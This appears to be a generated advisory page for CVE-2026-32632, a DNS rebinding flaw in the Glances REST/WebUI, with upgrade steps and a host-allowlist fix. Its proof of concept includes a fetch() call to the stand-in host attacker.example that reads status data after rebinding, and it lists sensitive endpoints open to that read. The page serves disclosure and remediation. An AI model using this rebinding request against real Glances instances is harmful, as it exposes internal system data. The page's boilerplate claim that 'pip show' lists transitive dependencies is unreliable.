CVE-2026-32632: Glances Glances's REST/WebUI Lacks Host Validation Vulnerability

MODERATE
Advisory Identifier: GHSA-hhcg-r27j-fhv9
CVSS 5.9
CWE-346
Published
Advisory Summary

CVE-2026-32632 is a MODERATE (CVSS 5.9) glances's rest/webui lacks host validation vulnerability (CWE-346: Origin Validation Error) affecting Glances libraries in the PyPI ecosystem. The issue involves glances's rest/webui lacks host validation and remains exposed to dns rebinding. Remediation is available by upgrading affected packages to version 4.5.2.

CVE-2026-32632 at a Glance

CVE Identifier CVE-2026-32632
GHSA Identifier GHSA-hhcg-r27j-fhv9
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-346: Origin Validation Error
Affected Product Glances
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-32632

To remediate this vulnerability, upgrade all affected Glances dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Glances fixed: 4.5.2
pip install Glances>=4.5.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show Glances

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-32632, inspect your installed packages using pip:

pip show Glances

Analyze the terminal output to locate any version of Glances in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.2), your application is affected.

Note: The pip show Glances command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-346: Origin Validation Error, where the product does not properly verify that the source of data or communication is valid. In Glances, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Glances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. ## Details The MCP endpoint now has explicit host-based transport security: ```python # glances/outputs/glances_mcp.py self.mcp_allowed_hosts = ["localhost", "127.0.0.1"] ... return TransportSecuritySettings( allowed_hosts=allowed_hosts, allowed_origins=allowed_origins, ) ``` However, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware: ```python # glances/outputs/glances_restful_api.py self._app = FastAPI(default_response_class=GlancesJSONResponse) ... self._app.add_middleware( CORSMiddleware, allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]), allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True), allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]), allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]), ) ... if self.args.password and self._jwt_handler is not None: self._app.include_router(self._token_router()) self._app.include_router(self._router()) ``` There is no `TrustedHostMiddleware`, no comparison against the configured bind host, and no allowlist enforcement for HTTP `Host` values on the REST/WebUI surface. The default bind configuration also exposes the service on all interfaces: ```python # glances/main.py parser.add_argument( '-B', '--bind', default='0.0.0.0', dest='bind_address', help='bind server to the given IPv4/IPv6 address or hostname', ) ``` This combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener. The token endpoint is also mounted on the same unprotected FastAPI app: ```python # glances/outputs/glances_restful_api.py def _token_router(self) -> APIRouter: ... router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[]) ``` ## Why This Is Exploitable In a DNS rebinding attack: 1. The attacker serves JavaScript from `https://attacker.example`. 2. The victim visits that page while a Glances instance is reachable on the victim network. 3. The attacker's DNS for `attacker.example` is rebound from the attacker's server to the Glances IP address. 4. The victim browser now sends same-origin requests to `https://attacker.example`, but those requests are delivered to Glances. 5. Because the Glances REST/WebUI app does not validate the `Host` header or enforce an allowed-host policy, it serves the response. 6. The attacker-controlled JavaScript can read the response as same-origin content. The MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not. ## Proof of Concept This issue is code-validated by inspection of the current implementation: - REST/WebUI/token are all mounted on a plain `FastAPI(...)` app - no `TrustedHostMiddleware` or equivalent host validation is applied - default bind is `0.0.0.0` - MCP has separate rebinding protection, showing the project already recognizes the threat model In a live deployment, the expected verification is: ```bash # Victim-accessible Glances service glances -w # Attacker-controlled rebinding domain first resolves to attacker infra, # then rebinds to the victim-local Glances IP. # After rebind, attacker JS can fetch: fetch("http://attacker.example:61208/api/4/status") .then(r => r.text()) .then(console.log) ``` And if the operator exposes Glances without `--password` (supported and common), the attacker can read endpoints such as: ```bash GET /api/4/status GET /api/4/all GET /api/4/config GET /api/4/args GET /api/4/serverslist ``` Even on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues. ## Impact - **Remote read of local/internal REST data:** DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context. - **Bypass of origin-based browser isolation:** Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin. - **High-value chaining surface:** This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints. - **Token surface exposure:** The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path. ## Recommended Fix Apply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening: ```python from starlette.middleware.trustedhost import TrustedHostMiddleware allowed_hosts = config.get_list_value( 'outputs', 'allowed_hosts', default=['localhost', '127.0.0.1'], ) self._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts) ``` At minimum: - reject requests whose `Host` header does not match an explicit allowlist - do not rely on `0.0.0.0` bind semantics as an access-control boundary - document that reverse-proxy deployments must set a strict host allowlist ## References - `glances/outputs/glances_mcp.py` - `glances/outputs/glances_restful_api.py` - `glances/main.py`

CVE-2026-32632 Affected Glances Versions

1 component(s)
Fixed Versions:
4.5.2
Product / Package Ecosystem Affected Versions Fixed Version
Glances
PyPI
< 4.5.2
4.5.2

References

Frequently Asked Questions

What is CVE-2026-32632?
CVE-2026-32632 is a security vulnerability in Glances involving Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding under CWE-346: Origin Validation Error.
Which Glances versions are affected?
Affected versions include releases prior to 4.5.2 across affected packages: Glances.
What version fixes CVE-2026-32632?
Upgrading to 4.5.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Glances affected?
Yes, Glances is affected in releases prior to 4.5.2. Upgrade your dependency to 4.5.2 or later.
What is the CVSS score of CVE-2026-32632?
CVE-2026-32632 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-32632?
CVE-2026-32632 is classified under CWE-346: Origin Validation Error (The product does not properly verify that the source of data or communication is valid.).
How can I check PyPI dependencies for CVE-2026-32632?
Run the dependency tree command: 'pip show Glances'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hhcg-r27j-fhv9",
  "modified" : "2026-03-18T21:48:39Z",
  "published" : "2026-03-16T16:34:23Z",
  "aliases" : [ "CVE-2026-32632" ],
  "summary" : "Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding",
  "details" : "## Summary\n\nGlances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist.\n\nAs a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.\n\nThis is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.\n\n## Details\n\nThe MCP endpoint now has explicit host-based transport security:\n\n```python\n# glances/outputs/glances_mcp.py\nself.mcp_allowed_hosts = [\"localhost\", \"127.0.0.1\"]\n...\nreturn TransportSecuritySettings(\n    allowed_hosts=allowed_hosts,\n    allowed_origins=allowed_origins,\n)\n```\n\nHowever, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:\n\n```python\n# glances/outputs/glances_restful_api.py\nself._app = FastAPI(default_response_class=GlancesJSONResponse)\n...\nself._app.add_middleware(\n    CORSMiddleware,\n    allow_origins=config.get_list_value('outputs', 'cors_origins', default=[\"*\"]),\n    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),\n    allow_methods=config.get_list_value('outputs', 'cors_methods', default=[\"*\"]),\n    allow_headers=config.get_list_value('outputs', 'cors_headers', default=[\"*\"]),\n)\n...\nif self.args.password and self._jwt_handler is not None:\n    self._app.include_router(self._token_router())\nself._app.include_router(self._router())\n```\n\nThere is no `TrustedHostMiddleware`, no comparison against the configured bind host, and no allowlist enforcement for HTTP `Host` values on the REST/WebUI surface.\n\nThe default bind configuration also exposes the service on all interfaces:\n\n```python\n# glances/main.py\nparser.add_argument(\n    '-B',\n    '--bind',\n    default='0.0.0.0',\n    dest='bind_address',\n    help='bind server to the given IPv4/IPv6 address or hostname',\n)\n```\n\nThis combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.\n\nThe token endpoint is also mounted on the same unprotected FastAPI app:\n\n```python\n# glances/outputs/glances_restful_api.py\ndef _token_router(self) -> APIRouter:\n    ...\n    router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])\n```\n\n## Why This Is Exploitable\n\nIn a DNS rebinding attack:\n\n1. The attacker serves JavaScript from `https://attacker.example`.\n2. The victim visits that page while a Glances instance is reachable on the victim network.\n3. The attacker's DNS for `attacker.example` is rebound from the attacker's server to the Glances IP address.\n4. The victim browser now sends same-origin requests to `https://attacker.example`, but those requests are delivered to Glances.\n5. Because the Glances REST/WebUI app does not validate the `Host` header or enforce an allowed-host policy, it serves the response.\n6. The attacker-controlled JavaScript can read the response as same-origin content.\n\nThe MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.\n\n## Proof of Concept\n\nThis issue is code-validated by inspection of the current implementation:\n\n- REST/WebUI/token are all mounted on a plain `FastAPI(...)` app\n- no `TrustedHostMiddleware` or equivalent host validation is applied\n- default bind is `0.0.0.0`\n- MCP has separate rebinding protection, showing the project already recognizes the threat model\n\nIn a live deployment, the expected verification is:\n\n```bash\n# Victim-accessible Glances service\nglances -w\n\n# Attacker-controlled rebinding domain first resolves to attacker infra,\n# then rebinds to the victim-local Glances IP.\n# After rebind, attacker JS can fetch:\nfetch(\"http://attacker.example:61208/api/4/status\")\n  .then(r => r.text())\n  .then(console.log)\n```\n\nAnd if the operator exposes Glances without `--password` (supported and common), the attacker can read endpoints such as:\n\n```bash\nGET /api/4/status\nGET /api/4/all\nGET /api/4/config\nGET /api/4/args\nGET /api/4/serverslist\n```\n\nEven on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.\n\n## Impact\n\n- **Remote read of local/internal REST data:** DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.\n- **Bypass of origin-based browser isolation:** Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.\n- **High-value chaining surface:** This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.\n- **Token surface exposure:** The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.\n\n## Recommended Fix\n\nApply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:\n\n```python\nfrom starlette.middleware.trustedhost import TrustedHostMiddleware\n\nallowed_hosts = config.get_list_value(\n    'outputs',\n    'allowed_hosts',\n    default=['localhost', '127.0.0.1'],\n)\n\nself._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)\n```\n\nAt minimum:\n\n- reject requests whose `Host` header does not match an explicit allowlist\n- do not rely on `0.0.0.0` bind semantics as an access-control boundary\n- document that reverse-proxy deployments must set a strict host allowlist\n\n## References\n\n- `glances/outputs/glances_mcp.py`\n- `glances/outputs/glances_restful_api.py`\n- `glances/main.py`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "Glances"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/security/advisories/GHSA-hhcg-r27j-fhv9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32632"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/commit/5850c564ee10804fdf884823b9c210eb954dd1f9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nicolargo/glances"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-346" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T16:34:23Z",
    "nvd_published_at" : "2026-03-18T18:16:28Z"
  }
}